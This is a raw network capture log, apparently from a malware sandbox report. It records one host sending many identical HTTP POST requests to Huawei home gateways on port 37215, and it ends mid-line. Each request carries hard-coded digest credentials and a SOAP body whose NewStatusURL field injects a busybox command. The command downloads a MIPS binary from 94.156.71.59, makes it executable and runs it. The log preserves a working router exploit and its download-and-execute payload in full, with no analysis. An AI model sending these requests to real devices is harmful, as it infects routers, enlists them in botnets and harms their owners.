Jun 10, 2024 15:38:03.365788937 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.13	46682	156.72.176.224	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.367468119 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.13	39212	197.216.185.15	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.368874073 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.13	55874	197.31.247.214	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.370300055 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.13	58932	156.236.52.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.371577978 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.13	47552	156.194.120.51	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.372850895 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.13	57946	41.250.61.217	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.376230955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.13	50772	156.140.171.179	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.378528118 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.13	52658	197.88.172.96	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.380127907 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.13	42090	156.20.166.168	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.381778955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.13	33470	156.177.178.130	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.384932041 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 